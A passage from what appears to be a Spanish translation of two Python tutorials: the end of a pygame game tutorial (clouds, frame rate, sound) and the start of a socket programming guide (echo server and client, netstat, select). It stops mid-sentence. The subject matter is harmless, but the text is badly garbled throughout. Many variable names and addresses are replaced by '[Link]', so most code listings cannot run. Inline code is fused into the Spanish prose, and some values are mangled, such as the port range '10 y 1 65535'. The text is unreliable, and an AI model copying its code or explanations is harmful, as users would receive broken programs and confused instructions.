[Link].set_colorkey((255, 255, 255), RLEACCEL)
# The starting position is randomly generated, as is the speed
[Link] = [Link].get_rect(
center=(
[Link](SCREEN_WIDTH + 20, SCREEN_WIDTH + 100),
[Link](0, SCREEN_HEIGHT),
)
)
[Link] = [Link](5, 20)
Al ejecutar el programa ahora, debería verse que se trata del mismo juego de antes, solo que
ahora se le han añadido gráficos con imágenes. Pero ¿por qué conformarnos con que los
sprites del jugador y los enemigos se vean bien? Añadamos algunas nubes para dar la
impresión de un avión a reacción surcando el cielo.
Agregar imágenes de fondo
Para las nubes de fondo, se utilizan los mismos principios que para Playery Enemy:
1. Crea la Cloudclase.
2. Añádele una imagen de una nube.
3. Crea un método .update()que mueva el elemento cloudhacia el lado
izquierdo de la pantalla.
4. Crea un evento y un controlador personalizados para crear
nuevos cloudobjetos a intervalos de tiempo establecidos.
5. Agrega los cloudobjetos recién creados a un
nuevo Groupllamado clouds.
6. Actualiza y dibuja cloudsen el bucle de tu juego.
Así es Cloudcomo se ve:
# Define the cloud object by extending [Link]
# Use an image for a better-looking sprite
class Cloud([Link]):
def __init__(self):
super(Cloud, self).__init__()
[Link] = [Link]("[Link]").convert()
[Link].set_colorkey((0, 0, 0), RLEACCEL)
# The starting position is randomly generated
[Link] = [Link].get_rect(
center=(
[Link](SCREEN_WIDTH + 20, SCREEN_WIDTH + 100),
[Link](0, SCREEN_HEIGHT),
)
)
# Move the cloud based on a constant speed
# Remove the cloud when it passes the left edge of the screen
def update(self):
[Link].move_ip(-5, 0)
if [Link] < 0:
[Link]()
Todo esto debería resultarles muy familiar. Es prácticamente lo mismo que Enemy...
Para que aparezcan nubes a intervalos regulares, utiliza un código de creación de eventos
similar al que usaste para crear nuevos enemigos. Colócalo justo debajo del evento de
creación de enemigos:
# Create custom events for adding a new enemy and a cloud
ADDENEMY = [Link] + 1
[Link].set_timer(ADDENEMY, 250)
ADDCLOUD = [Link] + 2
[Link].set_timer(ADDCLOUD, 1000)
Esto significa que hay que esperar 1000 milisegundos, o un segundo, antes de crear el
siguiente cloud.
A continuación, cree un nuevo Groupcontenedor para cada nuevo objeto creado cloud:
# Create groups to hold enemy sprites, cloud sprites, and all sprites
# - enemies is used for collision detection and position updates
# - clouds is used for position updates
# - all_sprites is used for rendering
enemies = [Link]()
clouds = [Link]()
all_sprites = [Link]()
all_sprites.add(player)
A continuación, agregue un controlador para el nuevo ADDCLOUDevento en el
controlador de eventos:
# Main loop
while running:
# Look at every event in the queue
for event in [Link]():
# Did the user hit a key?
if [Link] == KEYDOWN:
# Was it the Escape key? If so, then stop the loop.
if [Link] == K_ESCAPE:
running = False
# Did the user click the window close button? If so, stop the loop.
elif [Link] == QUIT:
running = False
# Add a new enemy?
elif [Link] == ADDENEMY:
# Create the new enemy and add it to sprite groups
new_enemy = Enemy()
[Link](new_enemy)
all_sprites.add(new_enemy)
# Add a new cloud?
elif [Link] == ADDCLOUD:
# Create the new cloud and add it to sprite groups
new_cloud = Cloud()
[Link](new_cloud)
all_sprites.add(new_cloud)
Finalmente, asegúrese de que cloudsse actualicen en cada fotograma:
# Update the position of enemies and clouds
[Link]()
[Link]()
# Fill the screen with sky blue
[Link]((135, 206, 250))
La línea 172 actualiza el original [Link]()para llenar la pantalla con un agradable
color azul celeste. Puedes cambiar este color por otro. ¡Quizás quieras un mundo alienígena
con un cielo púrpura, un páramo tóxico en verde neón o la superficie de Marte en rojo!
Tenga en cuenta que cada nuevo Cloudelemento Enemyse agrega a `
as`, all_spritesasí como a clouds`as` y `as` enemies. Esto se hace porque cada
grupo se utiliza para un propósito diferente:
La representación se realiza mediante all_sprites.
Las actualizaciones de posición se realizan
utilizando cloudsy enemies.
La detección de colisiones se realiza mediante enemies.
Se crean varios grupos para poder cambiar la forma en que los sprites se mueven o se
comportan sin afectar el movimiento o el comportamiento de otros sprites.
Velocidad del juego
Durante las pruebas del juego, es posible que hayas notado que los enemigos se mueven un
poco rápido. Si no es así, no te preocupes, ya que los resultados pueden variar según el
equipo.
Esto se debe a que el bucle del juego procesa los fotogramas tan rápido como lo permitan el
procesador y el entorno. Dado que todos los sprites se mueven una vez por fotograma,
pueden moverse cientos de veces por segundo. El número de fotogramas procesados por
segundo se denomina frecuencia de fotogramas , y conseguir que sea la correcta marca la
diferencia entre un juego jugable y uno olvidable.
Normalmente, se busca la mayor velocidad de fotogramas posible, pero en este juego es
necesario reducirla un poco para que sea jugable. Afortunadamente, el
módulo timeincluye una Clockfunción diseñada precisamente para este fin.
Para Clockestablecer una velocidad de fotogramas jugable, solo se necesitan dos líneas de
código. La primera crea una nueva instancia Clockantes de que comience el bucle del
juego:
# Setup the clock for a decent framerate
clock = [Link]()
La segunda llamada .tick()informa pygameque el programa ha llegado al final del
fotograma:
# Flip everything to the display
[Link]()
# Ensure program maintains a rate of 30 frames per second
[Link](30)
El argumento que se pasa a .tick()la función establece la frecuencia de fotogramas
deseada. Para ello, .tick()se calcula el número de milisegundos que debe durar cada
fotograma, basándose en dicha frecuencia. A continuación, se compara ese número con el
tiempo transcurrido desde la última .tick()llamada a la función. Si no ha transcurrido
suficiente tiempo, .tick()se retrasa el procesamiento para garantizar que nunca se supere
la frecuencia de fotogramas especificada.
Utilizar una frecuencia de fotogramas menor implica más tiempo en cada fotograma para
realizar cálculos, mientras que una frecuencia de fotogramas mayor proporciona una
jugabilidad más fluida (y posiblemente más rápida):
¡Experimenta con este número para ver cuál te sienta mejor!
Efectos sonoros
Hasta ahora, te has centrado en la jugabilidad y los aspectos visuales de tu juego. Ahora,
exploremos cómo añadirle también elementos sonoros. Este módulo pygamese
encarga mixerde gestionar todas las actividades relacionadas con el sonido. Utilizarás sus
clases y métodos para proporcionar música de fondo y efectos de sonido para las distintas
acciones.
El nombre mixerse refiere a que el módulo mezcla varios sonidos en un todo coherente.
Mediante este musicsubmódulo, puedes reproducir archivos de sonido individuales en
diversos formatos, como MP3 , Ogg y Mod . También puedes usarlo Soundpara
almacenar un único efecto de sonido para su reproducción, ya sea en formato Ogg o WAV
sin comprimir . La reproducción se realiza en segundo plano, por lo que al reproducir
un Soundsonido, el método finaliza inmediatamente.
Nota: La pygamedocumentación indica que la compatibilidad con MP3 es limitada y
que los formatos no compatibles pueden provocar fallos del sistema. Los sonidos a los que
se hace referencia en este artículo se han probado, y recomendamos probarlos
exhaustivamente antes de publicar el juego.
Como ocurre con la mayoría de las cosas pygame, su uso mixercomienza con un
paso de inicialización. Por suerte, esto ya lo gestiona [Link](). Solo necesitas
llamar [Link]()a si quieres cambiar los valores predeterminados:
# Setup for sounds. Defaults are good.
[Link]()
# Initialize pygame
[Link]()
# Set up the clock for a decent framerate
clock = [Link]()
[Link]()Acepta varios argumentos , pero los valores predeterminados
funcionan bien en la mayoría de los casos. Tenga en cuenta que si desea cambiar los
valores predeterminados, debe llamar a la función [Link]()antes de
llamar a la función [Link](). De lo contrario, los valores predeterminados se
aplicarán independientemente de los cambios que realice.
Una vez inicializado el sistema, podrá configurar los sonidos y la música de fondo:
# Load and play background music
# Sound source: [Link]
# License: [Link]
[Link]("Apoxode_-_Electric_1.mp3")
[Link](loops=-1)
# Load all sound files
# Sound sources: Jon Fincher
move_up_sound = [Link]("Rising_putter.ogg")
move_down_sound = [Link]("Falling_putter.ogg")
collision_sound = [Link]("[Link]")
Las líneas 138 y 139 cargan un clip de sonido de fondo y comienzan a reproducirlo. Puede
configurar el clip de sonido para que se reproduzca en bucle y nunca termine estableciendo
el parámetro con nombre loops=-1.
Las líneas 143 a 145 cargan tres sonidos que usarás para diversos efectos de sonido. Los
dos primeros son sonidos de subida y bajada, que se reproducen cuando el jugador se
mueve hacia arriba o hacia abajo. El último es el sonido que se usa cuando hay una
colisión. También puedes añadir otros sonidos, como uno para cuando Enemyse crea un
objeto o un sonido final para cuando termina el juego.
¿Cómo se utilizan los efectos de sonido? Se desea reproducir cada sonido cuando ocurre un
evento específico. Por ejemplo, cuando la nave asciende, se desea reproducir un
sonido move_up_sound. Por lo tanto, se añade una llamada a .play()cada función
que se gestiona dicho evento. En el diseño, esto implica añadir las siguientes llamadas
a .update()la función para cada evento Player:
# Define the Player object by extending [Link]
# Instead of a surface, use an image for a better-looking sprite
class Player([Link]):
def __init__(self):
super(Player, self).__init__()
[Link] = [Link]("[Link]").convert()
[Link].set_colorkey((255, 255, 255), RLEACCEL)
[Link] = [Link].get_rect()
# Move the sprite based on keypresses
def update(self, pressed_keys):
if pressed_keys[K_UP]:
[Link].move_ip(0, -5)
move_up_sound.play()
if pressed_keys[K_DOWN]:
[Link].move_ip(0, 5)
move_down_sound.play()
Para una colisión entre el jugador y un enemigo, se reproduce el sonido correspondiente a
la detección de colisiones:
# Check if any enemies have collided with the player
if [Link](player, enemies):
# If so, then remove the player
[Link]()
# Stop any moving sounds and play the collision sound
move_up_sound.stop()
move_down_sound.stop()
collision_sound.play()
# Stop the loop
running = False
Aquí, primero se detienen todos los demás efectos de sonido, ya que en una colisión el
jugador deja de moverse. Luego se reproduce el sonido de colisión y se continúa la
ejecución desde ahí.
Finalmente, al terminar el juego, todos los sonidos deben detenerse. Esto aplica tanto si el
juego finaliza por una colisión como si el usuario sale manualmente. Para ello, añade las
siguientes líneas al final del programa, después del bucle:
# All done! Stop and quit the mixer.
[Link]()
[Link]()
Técnicamente, estas últimas líneas no son necesarias, ya que el programa finaliza justo
después. Sin embargo, si más adelante decides añadir una pantalla de introducción o de
salida a tu juego, es posible que se ejecute más código después de que este termine.
¡Eso es todo! Pruébalo de nuevo y deberías ver algo parecido a esto:
Una nota sobre las fuentes
Quizás hayas visto el comentario en las líneas 136-137 al cargar la música de fondo, donde
se indica la fuente de la música y un enlace a la licencia Creative Commons. Esto se hizo
porque el creador del sonido lo exigió. Los requisitos de la licencia estipulan que, para usar
el sonido, se debe proporcionar tanto la atribución correspondiente como un enlace a la
licencia.
Aquí tienes algunas fuentes de música, sonido y arte donde puedes buscar contenido útil:
[Link]: sonidos, efectos de sonido, sprites y otras
ilustraciones
[Link]: sonidos, efectos de sonido, sprites y otras ilustraciones
Arte para videojuegos 2D: sprites y otras ilustraciones
Mezclador CC: sonidos y efectos de sonido
Freesound: sonidos y efectos de sonido
Al crear tus juegos y utilizar contenido descargado, como arte, música o código de otras
fuentes, asegúrate de cumplir con los términos de licencia de dichas fuentes.
II. Programación de sockets en Python (Guía)
La programación de sockets es esencial para la comunicación en red, ya que permite el
intercambio de datos entre diferentes dispositivos. En Python, los sockets permiten la
comunicación entre procesos (IPC) a través de redes. Este tutorial ofrece una guía completa
sobre la creación de servidores y clientes de sockets, el manejo de múltiples conexiones y la
gestión de errores en socketel módulo de Python.
Al finalizar este tutorial, comprenderás que:
En Python, un socket es un punto final para enviar o recibir datos a través de una
red utilizando la API de sockets.
La programación de sockets en Python implica el uso de sockets para establecer
comunicación entre un servidor y clientes a través de una red.
En Python se puede crear un servidor eco sencillo utilizando sockets para escuchar
las conexiones de los clientes y devolver los mensajes recibidos.
El manejo de múltiples clientes con sockets de Python se puede lograr utilizando
sockets no bloqueantes y el selectorsmódulo para conexiones concurrentes.
Los errores de conexión en los programas de sockets en Python se pueden
gestionar implementando el manejo de errores y utilizando excepciones
como OSError.
A lo largo del curso, aprenderás las principales funciones y métodos del socketmódulo de
Python que te permitirán escribir tus propias aplicaciones cliente-servidor basadas en
sockets TCP. Aprenderás a enviar mensajes y datos de forma fiable entre extremos y a
gestionar múltiples conexiones simultáneamente.
Las redes y los sockets son temas muy extensos. Se han escrito muchísimos libros sobre
ellos. Si eres nuevo en el mundo de los sockets o las redes, es completamente normal que te
sientas abrumado por tantos términos y conceptos. Para sacarle el máximo provecho a este
tutorial, lo mejor es descargar el código fuente y tenerlo a mano como referencia mientras
lees.
Antecedentes históricos
Los sockets tienen una larga historia. Su uso se originó con ARPANET en 1971 y
posteriormente se convirtieron en una API en el sistema operativo Berkeley Software
Distribution (BSD) lanzado en 1983, llamada Berkeley sockets .
Cuando Internet despegó en la década de 1990 con la World Wide Web, también lo hizo la
programación de redes. Los servidores web y los navegadores no fueron las únicas
aplicaciones que aprovecharon las nuevas redes conectadas y el uso de sockets. Las
aplicaciones cliente-servidor de todo tipo y tamaño se generalizaron.
Hoy en día, aunque los protocolos subyacentes utilizados por la API de sockets han
evolucionado a lo largo de los años y se han desarrollado otros nuevos, la API de bajo nivel
se ha mantenido igual.
El tipo más común de aplicaciones de sockets son las de cliente-servidor, donde un extremo
actúa como servidor y espera conexiones de los clientes. Este es el tipo de aplicación que
crearás en este tutorial. Más específicamente, te centrarás en la API de sockets para sockets
de Internet , también conocidos como sockets Berkeley o BSD. Existen además los sockets
de dominio Unix , que solo permiten la comunicación entre procesos en el mismo host.
Descripción general de la API de sockets de Python
El módulo socket de Python proporciona una interfaz a la API de sockets de Berkeley . Este
es el módulo que utilizarás en este tutorial.
Las principales funciones y métodos de la API de sockets en este módulo son:
socket()
.bind()
.listen()
.accept()
.connect()
.connect_ex()
.send()
.recv()
.close()
Python proporciona una API práctica y consistente que se corresponde directamente con las
llamadas al sistema, sus equivalentes en C. En la siguiente sección, aprenderá cómo se
utilizan conjuntamente.
Como parte de su biblioteca estándar, Python también incluye clases que facilitan el uso de
estas funciones de sockets de bajo nivel. Aunque no se trata en este tutorial, puedes
consultar el módulo `socketserver` , un marco de trabajo para servidores de red. También
existen muchos módulos que implementan protocolos de Internet de alto nivel como HTTP
y SMTP. Para obtener una descripción general, consulta Protocolos de Internet y soporte .
Sockets TCP
Vas a crear un objeto socket usando `[Link]()` [Link](),
especificando el tipo de socket como `[Link]( ) socket.SOCK_STREAM`.
Al hacerlo, el protocolo predeterminado que se utiliza es el Protocolo de Control de
Transmisión (TCP) . Este es un buen valor predeterminado y probablemente el que deseas.
¿Por qué debería usar TCP? El Protocolo de Control de Transmisión (TCP):
Es fiable: Los paquetes que se pierden en la red son detectados y
retransmitidos por el remitente.
Entrega de datos en orden: Su aplicación lee los datos en el orden en
que fueron escritos por el remitente.
En cambio, los sockets del Protocolo de Datagramas de Usuario (UDP) creados con
[método/técnica ] socket.SOCK_DGRAMno son fiables, y los datos leídos por el
receptor pueden estar desordenados con respecto a las escrituras del remitente.
¿Por qué es esto importante? Las redes funcionan como un sistema de entrega con el mejor
esfuerzo posible. No hay garantía de que tus datos lleguen a su destino ni de que recibas lo
que se te ha enviado.
Los dispositivos de red, como routers y switches, tienen un ancho de banda limitado y
presentan limitaciones inherentes al sistema. Cuentan con CPU, memoria, buses y búferes
de paquetes de interfaz, al igual que sus clientes y servidores. TCP le evita tener que
preocuparse por la pérdida de paquetes , la llegada desordenada de datos y otros problemas
que inevitablemente ocurren al comunicarse a través de una red.
Para comprender mejor esto, consulte la secuencia de llamadas a la API de sockets y el
flujo de datos para TCP:
Fluj
o de sockets TCP ( Fuente de la imagen )
La columna de la izquierda representa al servidor. En el lado derecho está el cliente.
Comenzando por la columna superior izquierda, observe las llamadas a la API que realiza
el servidor para establecer un socket de "escucha":
socket()
.bind()
.listen()
.accept()
Un socket de escucha hace exactamente lo que su nombre indica: escucha las conexiones de
los clientes. Cuando un cliente se conecta, el servidor realiza una llamada .accept()para
aceptar o completar la conexión.
El cliente realiza una llamada .connect()para establecer una conexión con el servidor e
iniciar el protocolo de enlace de tres vías. Este paso es importante porque garantiza que
ambos extremos de la conexión sean accesibles en la red; es decir, que el cliente pueda
comunicarse con el servidor y viceversa. Es posible que solo un host, cliente o servidor
pueda comunicarse con el otro.
En el medio se encuentra la sección de ida y vuelta, donde se intercambian datos entre el
cliente y el servidor mediante llamadas a .send()y .recv().
En la parte inferior, el cliente y el servidor cierran sus respectivos sockets.
Cliente y servidor Echo
Ahora que ya conoces la API de sockets y cómo se comunican el cliente y el servidor, estás
listo para crear tu primer cliente y servidor. Comenzarás con una implementación sencilla.
El servidor simplemente reenviará al cliente todo lo que reciba.
Servidor de eco
Aquí está el código fuente del servidor:
[Link]
import socket
HOST = "[Link]" # Standard loopback interface address (localhost)
PORT = 65432 # Port to listen on (non-privileged ports are > 1023)
with [Link](socket.AF_INET, socket.SOCK_STREAM) as s:
[Link]((HOST, PORT))
[Link]()
conn, addr = [Link]()
with conn:
print(f"Connected by {addr}")
while True:
data = [Link](1024)
if not data:
break
[Link](data)
No te preocupes por entender todo lo anterior ahora mismo. Hay mucho que analizar en
estas pocas líneas de código. Esto es solo un punto de partida para que puedas ver un
servidor básico en funcionamiento.
Nota: Al final de este tutorial encontrará una sección de referencia con más información y
enlaces a recursos adicionales. También encontrará estos y otros enlaces útiles a lo largo
del tutorial.
Bien, entonces, ¿qué sucede exactamente en la llamada a la API?
[Link]()Crea un objeto socket que admite el tipo de administrador de
contexto , por lo que puede usarlo en una withinstrucción . No es necesario llamar
a [Link]():
with [Link](socket.AF_INET, socket.SOCK_STREAM) as s:
pass # Use the socket object without calling [Link]().
Los argumentos que se pasan socket()son constantes que se utilizan para especificar
la familia de direcciones y el tipo de socket. AF_INETes la familia de direcciones de
Internet para IPv4 . SOCK_STREAMes el tipo de socket para TCP , el protocolo que se
utilizará para transportar mensajes en la red.
Este .bind()método se utiliza para asociar el socket con una interfaz de red y un número
de puerto específicos:
[Link]
# ...
with [Link](socket.AF_INET, socket.SOCK_STREAM) as s:
[Link]((HOST, PORT))
# ...
Los valores que se pasan .bind()dependen de la familia de direcciones del socket. En este
ejemplo, se utiliza socket.AF_INETIPv4. Por lo tanto, espera una tupla de dos
elementos: (host, port).
hostPuede ser un nombre de host, una dirección IP o una cadena vacía. Si se usa una
dirección IP, hostdebe ser una cadena con formato IPv4. La dirección IP 127.0.0.1es
la dirección IPv4 estándar para la interfaz de bucle invertido , por lo que solo los procesos
del host podrán conectarse al servidor. Si se pasa una cadena vacía, el servidor aceptará
conexiones en todas las interfaces IPv4 disponibles.
portrepresenta el número de puerto TCP para aceptar conexiones de clientes. Debe ser un
número entero entre 10 y 1 65535, ya que 0el puerto está reservado. Algunos sistemas
pueden requerir privilegios de superusuario si el número de puerto es menor que 1 1024.
Aquí hay una nota sobre el uso de nombres de host con .bind():
Si se utiliza un nombre de host en la parte del host de la dirección de socket IPv4/v6, el
programa podría presentar un comportamiento impredecible, ya que Python utiliza la
primera dirección devuelta por la resolución DNS. La dirección de socket se resolverá de
forma diferente en una dirección IPv4/v6 real, dependiendo de los resultados de la
resolución DNS o de la configuración del host. Para un comportamiento predecible, utilice
una dirección numérica en la parte del host. (Fuente)
Aprenderás más sobre esto más adelante, en la sección "Uso de nombres de host" . Por
ahora, ten en cuenta que al usar un nombre de host, podrías obtener diferentes resultados
según lo que devuelva el proceso de resolución de nombres. Estos resultados pueden ser de
cualquier tipo. La primera vez que ejecutes tu aplicación, podrías obtener la dirección
`/host/1` [Link]. La siguiente vez, obtendrás una dirección diferente, `/host/
1` [Link]. La tercera vez, podrías obtener `/host/2` [Link], y así
sucesivamente.
En el ejemplo del servidor, .listen()esto permite que el servidor acepte conexiones.
Convierte al servidor en un socket de escucha :
[Link]
# ...
with [Link](socket.AF_INET, socket.SOCK_STREAM) as s:
[Link]((HOST, PORT))
[Link]()
conn, addr = [Link]()
# ...
El .listen()método tiene un backlogparámetro que especifica el número de
conexiones no aceptadas que el sistema permitirá antes de rechazar nuevas conexiones. A
partir de Python 3.5, es opcional. Si no se especifica, backlogse elige un valor
predeterminado.
Si su servidor recibe muchas solicitudes de conexión simultáneamente, aumentar
este backlogvalor puede ayudar, ya que establece la longitud máxima de la cola para las
conexiones pendientes. El valor máximo depende del sistema. Por ejemplo, en Linux,
consulte [enlace/referencia] /proc/sys/net/core/somaxconn.
El .accept()método bloquea la ejecución y espera una conexión entrante. Cuando un
cliente se conecta, devuelve un nuevo objeto socket que representa la conexión y una tupla
que contiene la dirección del cliente. La tupla contendrá `<dirección>` (host, port)para
conexiones IPv4 o `<dirección> (host, port, flowinfo, scopeid)` para IPv6.
Consulte la sección «Familias de direcciones de socket» en la referencia para obtener más
información sobre los valores de la tupla.
Un aspecto fundamental que debes comprender es que ahora tienes un nuevo objeto
socket .accept(). Esto es importante porque es el socket que usarás para comunicarte
con el cliente. Es distinto del socket de escucha que el servidor utiliza para aceptar nuevas
conexiones.
[Link]
# ...
with [Link](socket.AF_INET, socket.SOCK_STREAM) as s:
[Link]((HOST, PORT))
[Link]()
conn, addr = [Link]()
with conn:
print(f"Connected by {addr}")
while True:
data = [Link](1024)
if not data:
break
[Link](data)
Tras .accept()proporcionar el objeto socket del cliente , se utiliza
un bucleconn infinito para iterar sobre las llamadas bloqueantes a . Esto lee los datos que
envía el cliente y los devuelve usando .[Link]()[Link]()
Si devuelve un [Link]() vacío , esto indica que el cliente cerró la conexión y
el bucle finaliza. La instrucción se utiliza con ` close ()` para cerrar automáticamente el
socket al final del [Link]''withconn
Cliente Echo
Ahora, es momento de analizar el código fuente del cliente:
[Link]
import socket
HOST = "[Link]" # The server's hostname or IP address
PORT = 65432 # The port used by the server
with [Link](socket.AF_INET, socket.SOCK_STREAM) as s:
[Link]((HOST, PORT))
[Link](b"Hello, world")
data = [Link](1024)
print(f"Received {data!r}")
En comparación con el servidor, el cliente es bastante sencillo. Crea un objeto socket, lo
utiliza .connect()para conectarse al servidor y realiza una llamada [Link]()para
enviar su mensaje. Finalmente, realiza una llamada [Link]()para leer la respuesta del
servidor y la imprime .
Ejecutando el cliente y el servidor Echo
En esta sección, ejecutarás el cliente y el servidor para ver cómo se comportan e
inspeccionar lo que está sucediendo.
Nota: Si tienes problemas para ejecutar los ejemplos o tu propio código desde la línea de
comandos, lee «¿Cómo creo mis propios comandos de línea de comandos con
Python?» o «Cómo ejecutar scripts de Python» . Si usas Windows, consulta las preguntas
frecuentes de Python para Windows .
Abre una terminal o símbolo del sistema, dirígete al directorio que contiene tus scripts,
asegúrate de tener instalado Python 3.6 o superior y en tu ruta, y luego ejecuta el servidor:
$ python [Link]
Tu terminal parecerá quedarse colgada. Esto se debe a que el servidor está bloqueado o
suspendido en .accept():
[Link]
# ...
with [Link](socket.AF_INET, socket.SOCK_STREAM) as s:
[Link]((HOST, PORT))
[Link]()
conn, addr = [Link]()
with conn:
print(f"Connected by {addr}")
while True:
data = [Link](1024)
if not data:
break
[Link](data)
Está esperando una conexión de cliente. Ahora, abre otra ventana de terminal o símbolo del
sistema y ejecuta el cliente:
$ python [Link]
Received b'Hello, world'
En la ventana del servidor, debería ver algo como esto:
$ python [Link]
Connected by ('[Link]', 64623)
En la salida anterior, el servidor imprimió la addrtupla devuelta por la
función [Link](). Esta es la dirección IP y el número de puerto TCP del cliente. El
número de puerto, 64623, probablemente será diferente cuando lo ejecutes en tu
máquina.
Estado del socket de visualización
Para ver el estado actual de los sockets en su host, utilice netstat. Está disponible de
forma predeterminada en macOS, Linux y Windows.
Aquí está la salida de netstat de macOS después de iniciar el servidor:
$ netstat -an
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 [Link].65432 *.* LISTEN
Observe que Local Addresses [Link].65432. Si [Link]
hubiera usado HOST = ""en lugar de HOST = "[Link]", netstat mostraría lo
siguiente:
$ netstat -an
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 *.65432 *.* LISTEN
Local Addresses *.65432, lo que significa que todas las interfaces de host
disponibles que admitan la familia de direcciones se utilizarán para aceptar conexiones
entrantes. En este ejemplo, socket.AF_INETse utilizó (IPv4) en la llamada
a socket(). Puede verlo en la Protocolumna: tcp4.
La salida anterior se ha recortado para mostrar solo el servidor de eco. Es probable que vea
mucha más información, dependiendo del sistema en el que lo esté ejecutando. Observe las
columnas Proto, Local Address, y (state). En el último ejemplo anterior, netstat
muestra que el servidor de eco está utilizando un socket TCP IPv4 ( tcp4), en el puerto
65432 en todas las interfaces ( *.65432), y está en estado de escucha ( LISTEN).
Otra forma de acceder a esta información, junto con información útil adicional, es usar
`ls` lsof(listar archivos abiertos). Está disponible de forma predeterminada en macOS y se
puede instalar en Linux mediante el gestor de paquetes, si aún no lo está.
$ lsof -i -n
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Python 67982 nathan 3u IPv4 0xecf272 0t0 TCP *:65432 (LISTEN)
lsofProporciona el COMMANDID PIDdel proceso y USERel ID del usuario de los
sockets de Internet abiertos cuando se utiliza con la -iopción. Arriba se muestra el proceso
del servidor eco.
netstatTienen lsofmuchas opciones disponibles y varían según el sistema operativo en
el que se ejecuten. Consulta la manpágina o la documentación de ambas. Sin duda, vale
la pena dedicarles un poco de tiempo y familiarizarse con ellas. La recompensa merece la
pena. En macOS y Linux, usa `ls` man netstaty ` man lsofls`. Para Windows, usa
`ls` netstat /?.
Este es un error común que puede aparecer al intentar conectarse a un puerto sin ningún
socket de escucha:
$ python [Link]
Traceback (most recent call last):
File "./[Link]", line 9, in <module>
[Link]((HOST, PORT))
ConnectionRefusedError: [Errno 61] Connection refused
O bien el número de puerto especificado es incorrecto o el servidor no está en
funcionamiento. También podría haber un firewall en la ruta que bloquea la conexión, algo
que se puede pasar por alto fácilmente. Es posible que vea el error [aquí iría el
error Connection timed out]. ¡Añada una regla de firewall que permita al cliente
conectarse al puerto TCP!
En la sección de referencia hay una lista de errores comunes .
Fallo en la comunicación
Ahora analizaremos más de cerca cómo se comunicaban entre sí el cliente y el servidor:
Al usar la interfaz de bucle invertido (dirección IPv4 127.0.0.1o IPv6 ::1), los datos
nunca salen del host ni acceden a la red externa. En el diagrama anterior, la interfaz de
bucle invertido se encuentra dentro del host. Esto representa la naturaleza interna de la
interfaz de bucle invertido e indica que las conexiones y los datos que la transitan son
locales al host.
Nota: Por eso también oirás hablar de la interfaz de bucle invertido y la dirección
IP, 127.0.0.1o ::1se la denominará “localhost”.
Las aplicaciones utilizan la interfaz de bucle invertido para comunicarse con otros procesos
que se ejecutan en el host y para garantizar la seguridad y el aislamiento de la red externa.
Dado que es interna y accesible solo desde el host, no está expuesta.
Esto se puede observar en la práctica si se dispone de un servidor de aplicaciones que
utiliza su propia base de datos privada. Si no se trata de una base de datos compartida por
otros servidores, probablemente esté configurada para aceptar conexiones únicamente en la
interfaz de bucle invertido. En tal caso, otros hosts de la red no podrán conectarse a ella.
Cuando utilizas una dirección IP distinta a 127.0.0.1la tuya ::1en tus aplicaciones,
probablemente esté vinculada a una interfaz Ethernet conectada a una red externa. Esta es
tu puerta de entrada a otros hosts fuera de tu entorno "localhost":
Ten cuidado ahí fuera. Es un mundo cruel y despiadado. Asegúrate de leer la sección «Uso
de nombres de host» antes de aventurarte más allá de la seguridad de «localhost». Hay una
advertencia de seguridad que se aplica incluso si no usas nombres de host, sino solo
direcciones IP.
Manejo de múltiples conexiones
El servidor eco tiene, sin duda, sus limitaciones. La principal es que solo atiende a un
cliente y luego finaliza. El cliente eco también tiene esta limitación, pero además presenta
un problema adicional. Cuando el cliente utiliza `echo` [Link](), es posible que devuelva
solo un byte, b'H'de b'Hello, world'`echo`.
[Link]
# ...
with [Link](socket.AF_INET, socket.SOCK_STREAM) as s:
[Link]((HOST, PORT))
[Link](b"Hello, world")
data = [Link](1024)
print(f"Received {data!r}")
El bufsizeargumento 1024utilizado anteriormente es la cantidad máxima de datos que
se recibirán a la vez. No significa que .recv()devolverá 1024bytes.
El .send()método también se comporta de esta manera. Devuelve el número de bytes
enviados, que puede ser menor que el tamaño de los datos recibidos. Es tu responsabilidad
comprobar esto y llamar al método .send()tantas veces como sea necesario para enviar
todos los datos.
Las aplicaciones son responsables de comprobar que se hayan enviado todos los datos; si
solo se transmitió parte de ellos, la aplicación debe intentar entregar los datos
restantes. (Fuente)
En el ejemplo anterior, evitaste tener que hacer esto usando .sendall():
A diferencia de send(), este método continúa enviando datos desde bytes hasta que se hayan
enviado todos los datos o se produzca un error. NoneDevuelve en caso de éxito. (Fuente)
En este punto tienes dos problemas:
¿Cómo se gestionan varias conexiones simultáneas?
Debes llamar .send()y .recv()esperar hasta que se envíen o reciban
todos los datos.
¿Qué se puede hacer? Existen muchos enfoques para la concurrencia . Un enfoque popular
es usar E/S asíncrona , asyncioque se introdujo en la biblioteca estándar de Python en la
versión 3.4. La opción tradicional es usar hilos .
El problema con la concurrencia es que es difícil de implementar correctamente. Hay
muchas sutilezas que considerar y contra las que protegerse. Basta con que una de ellas se
manifieste para que la aplicación falle repentinamente de maneras nada sutiles.
Esto no pretende desanimarte a aprender y usar la programación concurrente. Si tu
aplicación necesita escalar, es imprescindible si quieres usar más de un procesador o un
núcleo. Sin embargo, para este tutorial, usarás algo aún más tradicional que los hilos y más
fácil de comprender. Vas a usar el precursor de las llamadas al sistema: .select().
Este .select()método permite comprobar si se ha completado la E/S en más de un
socket. Así, puedes consultar .select()qué sockets tienen E/S lista para lectura o
escritura. Pero esto es Python, así que hay más. Usarás el módulo `selectors` de la
biblioteca estándar para que se utilice la implementación más eficiente, independientemente
del sistema operativo que estés usando.
Este módulo permite una multiplexación de E/S eficiente y de alto nivel, basada en las
primitivas del módulo select. Se recomienda a los usuarios utilizar este módulo, a menos
que deseen un control preciso sobre las primitivas del sistema operativo utilizadas. (Fuente)
Sin embargo, al usarlo .select(), no es posible ejecutar procesos simultáneamente.
Dicho esto, según la carga de trabajo, este enfoque puede ser suficientemente rápido.
Depende de las tareas que deba realizar la aplicación al procesar una solicitud y del número
de clientes que deba admitir.
asyncioUtiliza multitarea cooperativa de un solo hilo y un bucle de eventos para
gestionar las tareas. Con esta herramienta .select(), escribirás tu propia versión de un
bucle de eventos, aunque de forma más sencilla y síncrona. Al usar múltiples hilos, si bien
se logra la concurrencia, actualmente es necesario usar el GIL (Bloqueo Global del
Intérprete) con CPython y PyPy . Esto limita considerablemente la cantidad de trabajo que
se puede realizar en paralelo.
En resumen, usarlo .select()puede ser una opción perfectamente válida. No te sientas
